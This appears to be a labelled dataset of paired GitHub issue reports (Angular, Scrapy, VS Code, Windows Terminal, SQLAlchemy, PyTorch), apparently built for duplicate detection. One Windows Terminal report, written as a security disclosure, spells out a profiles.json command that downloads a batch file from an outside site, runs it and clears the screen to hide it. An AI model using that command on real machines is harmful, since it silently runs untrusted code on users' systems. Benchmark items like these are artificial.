DARTIUM_BIN=/home/ablu/Downloads/dart-sdk/dartium-lucid64-full-stable-1.11.3.0/chrome CHROME_BIN=google-chrome PATH=/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/lib/node_modules/npm/bin/node-gyp-bin:/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/usr/lib64/qt-3.3/bin:/usr/lib64/ccache:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:/home/ablu/.local/bin:/home/ablu/bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin NGDART_BASE_DIR=/home/ablu/angular/angular/scripts NGDART_SCRIPT_DIR=/home/ablu/angular/angular/scripts/ci Dart SDK detected: [14:10:53] Using gulpfile ~/angular/angular/gulpfile.js [14:10:53] Starting 'pre-test-checks'... [14:10:53] Starting 'build/checkCircularDependencies'... [14:10:58] Finished 'build/checkCircularDependencies' after 4.86 s [14:10:58] Finished 'pre-test-checks' after 4.87 s Dart SDK detected: [14:11:00] Using gulpfile ~/angular/angular/gulpfile.js [14:11:00] Starting 'test.js'... [14:11:00] Starting 'test.unit.tools/ci'... Started ..................... 21 specs, 0 failures Finished in 0.133 seconds [14:11:01] Finished 'test.unit.tools/ci' after 381 ms [14:11:01] Starting 'test.transpiler.unittest'... Started ........ 8 specs, 0 failures Finished in 0.183 seconds [14:11:01] Finished 'test.transpiler.unittest' after 620 ms [14:11:01] Starting 'docs/test'... Started .................. 18 specs, 0 failures Finished in 4.279 seconds [14:11:06] Finished 'docs/test' after 4.63 s [14:11:06] Starting 'test.unit.js/ci'... [14:11:06] 'test.unit.js/ci' errored after 704 μs [14:11:06] Error: ERROR: unknown browser found in getBrowsersFromCLI() at getBrowsersFromCLI (/home/ablu/angular/angular/gulpfile.js:560:13) at Gulp.&lt;anonymous&gt; (/home/ablu/angular/angular/gulpfile.js:680:21) at module.exports (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/lib/runTask.js:34:7) at Gulp.Orchestrator._runTask (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:273:3) at Gulp.Orchestrator._runStep (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:214:10) at Gulp.Orchestrator.start (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:134:8) at runNextSet (/home/ablu/angular/angular/node_modules/run-sequence/index.js:79:16) at Gulp.onTaskEnd (/home/ablu/angular/angular/node_modules/run-sequence/index.js:68:5) at Gulp.emit (events.js:129:20) at Gulp.Orchestrator._emitTaskDone (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:264:8) [14:11:06] 'test.js' errored after 5.64 s [14:11:06] Error: build sequence failed stderr: npm ERR! Test failed. See above for more details. </code></pre></div> <p dir="auto"><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pkozlowski-opensource/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pkozlowski-opensource">@pkozlowski-opensource</a> asked me on IRC to report an issue about this.</p> <p dir="auto">Regards,<br> Ablu</p>
<p dir="auto">I tried running the test suite locally (<code class="notranslate">npm test</code>) as documented in <a href="https://github.com/angular/angular/blob/master/DEVELOPER.md">https://github.com/angular/angular/blob/master/DEVELOPER.md</a>.<br> However <a href="https://github.com/angular/angular/blob/master/scripts/ci/test_js.sh#L16">this line</a> in the bash script adds <code class="notranslate">ChromeCanary</code>. As a result, it caused <a href="https://github.com/angular/angular/blob/master/gulpfile.js#L559">this line to throw</a> from gulpfile.js when running the <code class="notranslate">test.unit.js/ci</code> task.</p> <p dir="auto">Suggestion: Remove <code class="notranslate">ChromeCanary</code>?</p>
1
<p dir="auto">system w10 ,scrapy 1.6.0</p> <p dir="auto">my scrapy can run nomally long before, but raise AttributeError recently , I have reinstall the Scrapy ,It's not help.</p>
<p dir="auto">Scrapy version:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Scrapy : 1.3.3 lxml : 3.7.3.0 libxml2 : 2.9.3 cssselect : 1.0.1 parsel : 1.1.0 w3lib : 1.17.0 Twisted : 17.1.0 Python : 3.5.2 (default, Nov 17 2016, 17:05:23) - [GCC 5.4.0 20160609] pyOpenSSL : 0.15.1 (OpenSSL 1.0.2g 1 Mar 2016) Platform : Linux-4.4.0-59-generic-x86_64-with-Ubuntu-16.04-xenial"><pre class="notranslate"><code class="notranslate">Scrapy : 1.3.3 lxml : 3.7.3.0 libxml2 : 2.9.3 cssselect : 1.0.1 parsel : 1.1.0 w3lib : 1.17.0 Twisted : 17.1.0 Python : 3.5.2 (default, Nov 17 2016, 17:05:23) - [GCC 5.4.0 20160609] pyOpenSSL : 0.15.1 (OpenSSL 1.0.2g 1 Mar 2016) Platform : Linux-4.4.0-59-generic-x86_64-with-Ubuntu-16.04-xenial </code></pre></div> <p dir="auto">I've got this exception on shutdown:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="2017-04-05 18:18:10 [scrapy.core.engine] INFO: Spider closed (finished) 2017-04-05 18:18:10 [scrapy.utils.signal] ERROR: Error caught on signal handler: &lt;bound method TelnetConsole.stop_listening of &lt;scrapy.extensions.telnet.TelnetConsole object at 0x7fbb993bfeb8&gt;&gt; Traceback (most recent call last): File &quot;/home/ubuntu/.local/lib/python3.5/site-packages/twisted/internet/defer.py&quot;, line 150, in maybeDeferred result = f(*args, **kw) File &quot;/home/ubuntu/.local/lib/python3.5/site-packages/pydispatch/robustapply.py&quot;, line 55, in robustApply return receiver(*arguments, **named) File &quot;/home/ubuntu/.local/lib/python3.5/site-packages/scrapy/extensions/telnet.py&quot;, line 63, in stop_listening self.port.stopListening() AttributeError: 'TelnetConsole' object has no attribute 'port'"><pre class="notranslate"><code class="notranslate">2017-04-05 18:18:10 [scrapy.core.engine] INFO: Spider closed (finished) 2017-04-05 18:18:10 [scrapy.utils.signal] ERROR: Error caught on signal handler: &lt;bound method TelnetConsole.stop_listening of &lt;scrapy.extensions.telnet.TelnetConsole object at 0x7fbb993bfeb8&gt;&gt; Traceback (most recent call last): File "/home/ubuntu/.local/lib/python3.5/site-packages/twisted/internet/defer.py", line 150, in maybeDeferred result = f(*args, **kw) File "/home/ubuntu/.local/lib/python3.5/site-packages/pydispatch/robustapply.py", line 55, in robustApply return receiver(*arguments, **named) File "/home/ubuntu/.local/lib/python3.5/site-packages/scrapy/extensions/telnet.py", line 63, in stop_listening self.port.stopListening() AttributeError: 'TelnetConsole' object has no attribute 'port' </code></pre></div> <p dir="auto">Not sure if it is a real problem, but it'd be nice to shut down without error messages. No idea how to reproduce it, I've only seen it once.</p>
1
<p dir="auto">fyi <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egamma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egamma">@egamma</a></p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/5047891/13776919/1237e006-eaad-11e5-954d-323f8eb699ef.png"><img src="https://cloud.githubusercontent.com/assets/5047891/13776919/1237e006-eaad-11e5-954d-323f8eb699ef.png" alt="image" style="max-width: 100%;"></a></p>
<p dir="auto">Did some research, hope it is not duplicate... Is there functionality (some shortcut maybe?) to break searching? Because when you develop a project, you often need to search stuff across all files. No problem here, until you actually have project with like many many files. For example, if you have project where node_modules are not ignored in search (since even there you sometimes need to search stuff) or you have some internal directory with internal builds, you get like too many results and you are not able to break search to specify search more closely or to just get rid of searching. Usually ends up with crash of vscode...</p> <p dir="auto">Version 0.10.6 (0.10.6)</p>
0
<p dir="auto">The explanation says</p> <p dir="auto">If the length of the string is less than or equal to 3 characters, then the length of the three dots is not added to the string length.</p> <p dir="auto">truncate("A-", 1) should return "A...".</p> <p dir="auto">While the original string is less then 3 character, the outcome is less than 3 characters, still the result should be A.... Seems not really logical to me.</p>
<p dir="auto">After completing an exercise I usually try a few different solutions just to test my knowledge. The problem is that all of the solutions are being diplayed in one super long list of code snippets on my profile page. It would be nice if each exercise was collapsed, so that it takes up less space. Within each collapsed exercise you could have all the snippets of code for that specific one.</p> <p dir="auto">It would also be nice to have an instantly updated search feature so that you can easily find which exercise you're looking for in the list, or just list them in the same order as on the <a href="http://www.freecodecamp.com/map" rel="nofollow">map</a> page for consistency.</p> <p dir="auto">This is just to make the site easier to navigate, but I understand if there's more important things to fix first. :)</p>
0
<p dir="auto"><strong>I'm submitting a ...</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[X] bug report [ ] feature request [ ] support request"><pre class="notranslate"><code class="notranslate">[X] bug report [ ] feature request [ ] support request </code></pre></div> <p dir="auto"><strong>Current behavior</strong><br> When using AoT compilation, in particular with the <code class="notranslate">@ngtools/webpack</code> plugin, using <code class="notranslate">ViewEncapsulation.None</code> in a component with stylesheets, an error is raised at runtime, since component styles are <em>always</em> accessed through the <em>styles</em> exported member, but this only exists when <code class="notranslate">ViewEncapsulation</code> is set to <code class="notranslate">Emulated</code>. Because of that, the <code class="notranslate">_flattenStyles</code> function received an array with <code class="notranslate">undefined</code> items, and tries to run the <code class="notranslate">replace</code> method over it.</p> <p dir="auto"><strong>Expected behavior</strong><br> Regardless of which <code class="notranslate">ViewEncapsulation</code> is used, compiled styles imports should not break at runtime.</p> <p dir="auto"><strong>Minimal reproduction of the problem with instructions</strong></p> <ol dir="auto"> <li>Clone and setup <a href="https://github.com/blacksonic/angular2-aot-webpack/">https://github.com/blacksonic/angular2-aot-webpack/</a></li> <li>Delete <em>ngfactory</em> folder and files</li> <li>Add <code class="notranslate">ViewEncapsulation.None</code> to home.component.s</li> <li>Run</li> </ol> <p dir="auto"><strong>What is the motivation / use case for changing the behavior?</strong><br> You can take a look at the <code class="notranslate">style_compiler </code>source code: <a href="https://github.com/angular/angular/blob/master/modules/%40angular/compiler/src/style_compiler.ts#L60">https://github.com/angular/angular/blob/master/modules/%40angular/compiler/src/style_compiler.ts#L60</a>. When in a <em>component</em> context, a variable named <em>styles</em> is used to get the exported value. However, that variable only exists when a <em>shim</em> is used, but only happens when <code class="notranslate">ViewEncapsulation</code> is <code class="notranslate">Emulated</code>.</p> <p dir="auto"><strong>Please tell us about your environment:</strong><br> Windows 10 build 1607</p> <ul dir="auto"> <li> <p dir="auto"><strong>Angular version:</strong> 2.1.2</p> </li> <li> <p dir="auto"><strong>Browser:</strong> all</p> </li> <li> <p dir="auto"><strong>Language:</strong> TypeScript 2.0.7</p> </li> <li> <p dir="auto"><strong>Node (for AoT issues):</strong> <code class="notranslate">node --version</code> = 6.9.1</p> </li> </ul>
<p dir="auto"><strong>I'm submitting a ...</strong> (check one with "x")</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[x] bug report =&gt; search github for a similar issue or PR before submitting [ ] feature request [ ] support request =&gt; Please do not submit support request here, instead see https://github.com/angular/angular/blob/master/CONTRIBUTING.md#question"><pre class="notranslate"><code class="notranslate">[x] bug report =&gt; search github for a similar issue or PR before submitting [ ] feature request [ ] support request =&gt; Please do not submit support request here, instead see https://github.com/angular/angular/blob/master/CONTRIBUTING.md#question </code></pre></div> <p dir="auto"><strong>Current behavior</strong><br> Root component (that is bootstrapped) does not get any content transcluded with <code class="notranslate">ng-content</code>.</p> <p dir="auto"><strong>Expected/desired behavior</strong></p> <p dir="auto">There should be a possibility to transclude root component's content into component's view.</p> <p dir="auto"><strong>Reproduction of the problem</strong></p> <p dir="auto">Plunker: <a href="https://plnkr.co/edit/WozwzyMhajp6mIHoKcZA?p=preview" rel="nofollow">https://plnkr.co/edit/WozwzyMhajp6mIHoKcZA?p=preview</a><br> Observed: <code class="notranslate">Component content:</code></p> <p dir="auto"><strong>What is the expected behavior?</strong><br> <code class="notranslate">Component content: loading...</code></p> <p dir="auto"><strong>What is the motivation / use case for changing the behavior?</strong></p> <p dir="auto">There should be a consistent behaviour on <code class="notranslate">ng-content</code> no matter is it root component or any other that is used in view component.</p> <p dir="auto"><strong>Please tell us about your environment:</strong></p> <ul dir="auto"> <li><strong>Angular version:</strong> 2.0.0-rc.6</li> <li><strong>Browser:</strong> [all]</li> <li><strong>Language:</strong> [all]</li> </ul>
0
<h1 dir="auto">Environment</h1> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Windows Edition: Windows 10 Education Version: 1903 OS Build: 18362.10005 Windows Terminal version: 0.3.2142.0 "><pre lang="none" class="notranslate"><code class="notranslate">Windows Edition: Windows 10 Education Version: 1903 OS Build: 18362.10005 Windows Terminal version: 0.3.2142.0 </code></pre></div> <h1 dir="auto">Possible Bug: Description</h1> <p dir="auto">In profiles.json, under profiles, powershell.exe is the default profile when Terminal app fresh installed. Powershell is called by terminal app using: "commandline" setting with parameter "powershell.exe".</p> <p dir="auto">We can add parameters after "powershell.exe" to automate tasks. This is happen when each new tab with powershell is opened. But we can go futher to exploit this feature.</p> <p dir="auto">The GIF demonstration shows one line command to download an (assumed) infected executable from unknown domain, keep it in the public/downloads directory to evade low privilege errors, run the infected executable, clear the screen immediately and run powershell.exe again.</p> <p dir="auto">It's assumed that the executable will a malware that quickly starts and closes itself. The user will find it hard to detect if anything is happenning because a fresh powershell instance is called after the downloaded executable is run. Also, there is no warning prompt while running the executable as shown in demonstation.</p> <h3 align="center" dir="auto"> <a href="https://prohack.tech/MS_Terminal_Possible_Bug.mp4" rel="nofollow"> <img src="https://camo.githubusercontent.com/026156946bfdf7f1291790f40a70b2d99cf59e1c2315dff7a4654657e05f7645/68747470733a2f2f70726f6861636b2e746563682f64656d6f2e706e67" alt="demo video" width="480" height="360" border="10" data-canonical-src="https://prohack.tech/demo.png" style="max-width: 100%;"> </a> </h3> <h1 dir="auto">Steps to reproduce</h1> <ul dir="auto"> <li> <p dir="auto">Create a sample batch script for demo purpose with anything inside. Here I've created script to open multiple cmd windows</p> </li> <li> <p dir="auto">Upload the file to any shady website. Here I've used my own not-trusted website</p> </li> <li> <p dir="auto">Paste the following command after "powershell.exe" for the setting "commandline" under profiles in profiles.json</p> </li> </ul> <p dir="auto">command:<br> <code class="notranslate">wget -O 'C:\\Users\\Public\\Downloads\\VIR.bat' prohack.tech/VIR.bat ; [Diagnostics.Process]::Start('C:\\Users\\Public\\Downloads\\VIR.bat') ; clear ; powershell.exe</code></p> <ul dir="auto"> <li>Run the terminal app.</li> </ul> <h1 dir="auto">Expected behavior</h1> <p dir="auto">Expected behavior is to not allow arguments directly from profiles.json setting because another applications could potentially infect(?) the settings file to download untrusted files.</p> <h1 dir="auto">Actual behavior</h1> <p dir="auto">Arguments are allowed to run from profiles.json setting.</p> <h1 dir="auto">Note</h1> <p dir="auto">Marked as possible security issue because exploiting this may be tricky, since larger file download through wget can be seen as being downloaded by the user. Also, first-hand running processes will show details in powershell instance. But as shown in the demo, processes started from the downloaded executable do not show in powershell. Could possibly be exploited without the user knowing.</p> <p dir="auto">Finding profiles.json is also easy with this string: "%LOCALAPPDATA%\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\RoamingState".<br> If this is a real issue, name it 'profile commandline injection' :P</p>
<p dir="auto">When loging in to e.g. AzAccount, the Window where one can enter one's credentials appears behind the Windows Terminal Window and cannot be brought forward by Alt-Tabbing to it, so one has to leave the keyboard and use the mouse isntead to activate it.</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/9772624/67087591-84b61700-f1a3-11e9-9b02-17a832839cac.png"><img src="https://user-images.githubusercontent.com/9772624/67087591-84b61700-f1a3-11e9-9b02-17a832839cac.png" alt="grafik" style="max-width: 100%;"></a></p>
0
<p dir="auto">Hello, I wonder if it is possible to place a responsive CSS table have an example if necessary? The following code:</p> <p dir="auto">Reference link: <a href="http://css-tricks.com/examples/ResponsiveTables/responsive.php" rel="nofollow">http://css-tricks.com/examples/ResponsiveTables/responsive.php</a></p> <p dir="auto">/*<br> Max width before this PARTICULAR table gets nasty<br> This query will take effect for any screen smaller than 760px<br> and also iPads specifically.<br> */<br> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/media/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/media">@media</a><br> only screen and (max-width: 760px),<br> (min-device-width: 768px) and (max-device-width: 1024px) {</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" /* Force table to not be like tables anymore */ table, thead, tbody, th, td, tr { display: block; } /* Hide table headers (but not display: none;, for accessibility) */ thead tr { position: absolute; top: -9999px; left: -9999px; } tr { border: 1px solid #ccc; } td { /* Behave like a &quot;row&quot; */ border: none; border-bottom: 1px solid #eee; position: relative; padding-left: 50%; } td:before { /* Now like a table header */ position: absolute; /* Top/left values mimic padding */ top: 6px; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; } /* Label the data */ td:nth-of-type(1):before { content: &quot;First Name&quot;; } td:nth-of-type(2):before { content: &quot;Last Name&quot;; } td:nth-of-type(3):before { content: &quot;Job Title&quot;; } td:nth-of-type(4):before { content: &quot;Favorite Color&quot;; } td:nth-of-type(5):before { content: &quot;Wars of Trek?&quot;; } td:nth-of-type(6):before { content: &quot;Porn Name&quot;; } td:nth-of-type(7):before { content: &quot;Date of Birth&quot;; } td:nth-of-type(8):before { content: &quot;Dream Vacation City&quot;; } td:nth-of-type(9):before { content: &quot;GPA&quot;; } td:nth-of-type(10):before { content: &quot;Arbitrary Data&quot;; } }"><pre class="notranslate"><code class="notranslate"> /* Force table to not be like tables anymore */ table, thead, tbody, th, td, tr { display: block; } /* Hide table headers (but not display: none;, for accessibility) */ thead tr { position: absolute; top: -9999px; left: -9999px; } tr { border: 1px solid #ccc; } td { /* Behave like a "row" */ border: none; border-bottom: 1px solid #eee; position: relative; padding-left: 50%; } td:before { /* Now like a table header */ position: absolute; /* Top/left values mimic padding */ top: 6px; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; } /* Label the data */ td:nth-of-type(1):before { content: "First Name"; } td:nth-of-type(2):before { content: "Last Name"; } td:nth-of-type(3):before { content: "Job Title"; } td:nth-of-type(4):before { content: "Favorite Color"; } td:nth-of-type(5):before { content: "Wars of Trek?"; } td:nth-of-type(6):before { content: "Porn Name"; } td:nth-of-type(7):before { content: "Date of Birth"; } td:nth-of-type(8):before { content: "Dream Vacation City"; } td:nth-of-type(9):before { content: "GPA"; } td:nth-of-type(10):before { content: "Arbitrary Data"; } } </code></pre></div>
<p dir="auto">Hi,</p> <p dir="auto">I'm building an application with Twitter Bootstrap one of the reasons because I need it to be responsive and readable with hand-held devices.</p> <p dir="auto">The responsive layout works like a charm, but tables not so much, they have a fixed min width where they can't go any thiner, I get that, but it would be <strong>so cool</strong> if the tables would be responsive, meaning when they can't go any thinner they change their layout to show the information somehow to fit the screen.</p> <p dir="auto">I don't know how would you achieve this, maybe changing the scale (or zoom) on the table so it go smaller, since on a hand-held you can zoom in with a pinch.</p> <p dir="auto">Is there an easy solution to solve this?</p> <p dir="auto">Thanks!</p>
1
<p dir="auto"><strong>Migrated issue, originally created by Laurence Rowe (<a href="https://github.com/lrowe">@lrowe</a>)</strong></p> <p dir="auto">When removing a connection event:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="from sqlalchemy import create_engine from sqlalchemy import event engine = create_engine('sqlite:///') connection = engine.connect() @event.listens_for(connection, 'after_cursor_execute') def after_cursor_execute(conn, cursor, statement, parameters, context, executemany): pass event.remove(connection, 'after_cursor_execute', after_cursor_execute)"><pre class="notranslate"><code class="notranslate">from sqlalchemy import create_engine from sqlalchemy import event engine = create_engine('sqlite:///') connection = engine.connect() @event.listens_for(connection, 'after_cursor_execute') def after_cursor_execute(conn, cursor, statement, parameters, context, executemany): pass event.remove(connection, 'after_cursor_execute', after_cursor_execute) </code></pre></div> <p dir="auto">I see the following error:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$ bin/py connection_event_bug.py Traceback (most recent call last): File &quot;bin/py&quot;, line 61, in &lt;module&gt; exec(compile(__file__f.read(), __file__, &quot;exec&quot;)) File &quot;connection_event_bug.py&quot;, line 12, in &lt;module&gt; event.remove(connection, 'after_cursor_execute', after_cursor_execute) File &quot;/Users/lrowe/.buildout/eggs/SQLAlchemy-0.8.0-py2.7-macosx-10.6-intel.egg/sqlalchemy/event.py&quot;, line 76, in remove for tgt in evt_cls._accept_with(target): TypeError: 'Connection' object is not iterable"><pre class="notranslate"><code class="notranslate">$ bin/py connection_event_bug.py Traceback (most recent call last): File "bin/py", line 61, in &lt;module&gt; exec(compile(__file__f.read(), __file__, "exec")) File "connection_event_bug.py", line 12, in &lt;module&gt; event.remove(connection, 'after_cursor_execute', after_cursor_execute) File "/Users/lrowe/.buildout/eggs/SQLAlchemy-0.8.0-py2.7-macosx-10.6-intel.egg/sqlalchemy/event.py", line 76, in remove for tgt in evt_cls._accept_with(target): TypeError: 'Connection' object is not iterable </code></pre></div> <p dir="auto">Though this does work:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="connection.dispatch.after_cursor_execute.remove(after_cursor_execute, connection)"><pre class="notranslate"><code class="notranslate">connection.dispatch.after_cursor_execute.remove(after_cursor_execute, connection) </code></pre></div>
<h3 dir="auto">Describe the bug</h3> <p dir="auto">Using the below code I ended up with many copies of the resulting where clause being injected into queries. Each select during the same session had an additional <code class="notranslate">cls.deleted_at IS NULL</code> attached to it.</p> <p dir="auto">It's very possible that I'm using this feature incorrectly. It appears to be a fairly advanced one.</p> <h3 dir="auto">To Reproduce</h3> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="@declarative_mixin class SoftDeleteMixin: deleted_at: Mapped[datetime.datetime | None] = Column(DateTime, nullable=True) @event.listens_for(Session, 'do_orm_execute') def _add_soft_delete_filter(state: ORMExecuteState) -&gt; None: if not state.is_select: return state.statement = state.statement.options( with_loader_criteria( SoftDeleteMixin, lambda cls: cls.deleted_at.is_(None), include_aliases=True, ) )"><pre class="notranslate"><span class="pl-en">@<span class="pl-s1">declarative_mixin</span></span> <span class="pl-k">class</span> <span class="pl-v">SoftDeleteMixin</span>: <span class="pl-s1">deleted_at</span>: <span class="pl-v">Mapped</span>[<span class="pl-s1">datetime</span>.<span class="pl-s1">datetime</span> <span class="pl-c1">|</span> <span class="pl-c1">None</span>] <span class="pl-c1">=</span> <span class="pl-v">Column</span>(<span class="pl-v">DateTime</span>, <span class="pl-s1">nullable</span><span class="pl-c1">=</span><span class="pl-c1">True</span>) <span class="pl-en">@<span class="pl-s1">event</span>.<span class="pl-en">listens_for</span>(<span class="pl-v">Session</span>, <span class="pl-s">'do_orm_execute'</span>)</span> <span class="pl-k">def</span> <span class="pl-en">_add_soft_delete_filter</span>(<span class="pl-s1">state</span>: <span class="pl-v">ORMExecuteState</span>) <span class="pl-c1">-&gt;</span> <span class="pl-c1">None</span>: <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">state</span>.<span class="pl-s1">is_select</span>: <span class="pl-k">return</span> <span class="pl-s1">state</span>.<span class="pl-s1">statement</span> <span class="pl-c1">=</span> <span class="pl-s1">state</span>.<span class="pl-s1">statement</span>.<span class="pl-en">options</span>( <span class="pl-en">with_loader_criteria</span>( <span class="pl-v">SoftDeleteMixin</span>, <span class="pl-k">lambda</span> <span class="pl-s1">cls</span>: <span class="pl-s1">cls</span>.<span class="pl-s1">deleted_at</span>.<span class="pl-en">is_</span>(<span class="pl-c1">None</span>), <span class="pl-s1">include_aliases</span><span class="pl-c1">=</span><span class="pl-c1">True</span>, ) )</pre></div> <h3 dir="auto">Error</h3> <div class="highlight highlight-source-sql notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="WHERE cls.deleted_at IS NULL AND cls.deleted_at IS NULL AND cls.deleted_at IS NULL"><pre class="notranslate"><span class="pl-k">WHERE</span> <span class="pl-c1">cls</span>.<span class="pl-c1">deleted_at</span> IS <span class="pl-k">NULL</span> <span class="pl-k">AND</span> <span class="pl-c1">cls</span>.<span class="pl-c1">deleted_at</span> IS <span class="pl-k">NULL</span> <span class="pl-k">AND</span> <span class="pl-c1">cls</span>.<span class="pl-c1">deleted_at</span> IS <span class="pl-k">NULL</span></pre></div> <h3 dir="auto">Versions</h3> <ul dir="auto"> <li>OS: macos</li> <li>Python: 3.10</li> <li>SQLAlchemy: 1.4</li> <li>Database: postgresql</li> <li>DBAPI (eg: psycopg, cx_oracle, mysqlclient): pg8000</li> </ul> <h3 dir="auto">Additional context</h3> <p dir="auto">I was able to get the behavior to stop by adding <code class="notranslate">propagate_to_loaders=False,</code> to the loader criteria. Then they all have a single one.</p>
0
<p dir="auto">All flavours of ReflectionPad should accept 0-dim batch size.</p> <p dir="auto">Tests:</p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="def test_ReflectionPad1d_Forward(): z = torch.ones(0,3,10) m = torch.nn.ReflectionPad1d(2) m(z) def test_ReflectionPad1d_Backward(): z = torch.ones(0,3,10) m = torch.nn.ReflectionPad1d(2) m(z).sum().backward() def test_ReflectionPad2d_Forward(): z = torch.ones(0,3,10,10) m = torch.nn.ReflectionPad2d(2) m(z) def test_ReflectionPad2d_Backward(): z = torch.ones(0,3,10,10) m = torch.nn.ReflectionPad2d(2) m(z).sum().backward()"><pre class="notranslate"><span class="pl-k">def</span> <span class="pl-en">test_ReflectionPad1d_Forward</span>(): <span class="pl-s1">z</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-en">ones</span>(<span class="pl-c1">0</span>,<span class="pl-c1">3</span>,<span class="pl-c1">10</span>) <span class="pl-s1">m</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-s1">nn</span>.<span class="pl-v">ReflectionPad1d</span>(<span class="pl-c1">2</span>) <span class="pl-en">m</span>(<span class="pl-s1">z</span>) <span class="pl-k">def</span> <span class="pl-en">test_ReflectionPad1d_Backward</span>(): <span class="pl-s1">z</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-en">ones</span>(<span class="pl-c1">0</span>,<span class="pl-c1">3</span>,<span class="pl-c1">10</span>) <span class="pl-s1">m</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-s1">nn</span>.<span class="pl-v">ReflectionPad1d</span>(<span class="pl-c1">2</span>) <span class="pl-en">m</span>(<span class="pl-s1">z</span>).<span class="pl-en">sum</span>().<span class="pl-en">backward</span>() <span class="pl-k">def</span> <span class="pl-en">test_ReflectionPad2d_Forward</span>(): <span class="pl-s1">z</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-en">ones</span>(<span class="pl-c1">0</span>,<span class="pl-c1">3</span>,<span class="pl-c1">10</span>,<span class="pl-c1">10</span>) <span class="pl-s1">m</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-s1">nn</span>.<span class="pl-v">ReflectionPad2d</span>(<span class="pl-c1">2</span>) <span class="pl-en">m</span>(<span class="pl-s1">z</span>) <span class="pl-k">def</span> <span class="pl-en">test_ReflectionPad2d_Backward</span>(): <span class="pl-s1">z</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-en">ones</span>(<span class="pl-c1">0</span>,<span class="pl-c1">3</span>,<span class="pl-c1">10</span>,<span class="pl-c1">10</span>) <span class="pl-s1">m</span> <span class="pl-c1">=</span> <span class="pl-s1">torch</span>.<span class="pl-s1">nn</span>.<span class="pl-v">ReflectionPad2d</span>(<span class="pl-c1">2</span>) <span class="pl-en">m</span>(<span class="pl-s1">z</span>).<span class="pl-en">sum</span>().<span class="pl-en">backward</span>()</pre></div>
<h2 dir="auto"><g-emoji class="g-emoji" alias="rocket" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f680.png">🚀</g-emoji> Feature</h2> <p dir="auto">Add support for NHWC images for upsampling nearest in CUDA.</p> <p dir="auto"><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="474078293" data-permission-text="Title is private" data-url="https://github.com/pytorch/vision/issues/1179" data-hovercard-type="issue" data-hovercard-url="/pytorch/vision/issues/1179/hovercard?comment_id=558197607&amp;comment_type=issue_comment" href="https://github.com/pytorch/vision/issues/1179#issuecomment-558197607">pytorch/vision#1179 (comment)</a></p> <h2 dir="auto">Motivation</h2> <p dir="auto">We need this work in order to match the work from <a href="https://github.com/pytorch/pytorch/pull/34597" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/34597/hovercard">This PR</a> and have feature parity with CPU.</p> <p dir="auto">In addition, this would help us further support an ongoing work done with <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fmassa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fmassa">@fmassa</a> to have efficient <a href="https://github.com/pytorch/pytorch/pull/34597" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/34597/hovercard">native image reading ops </a> in <code 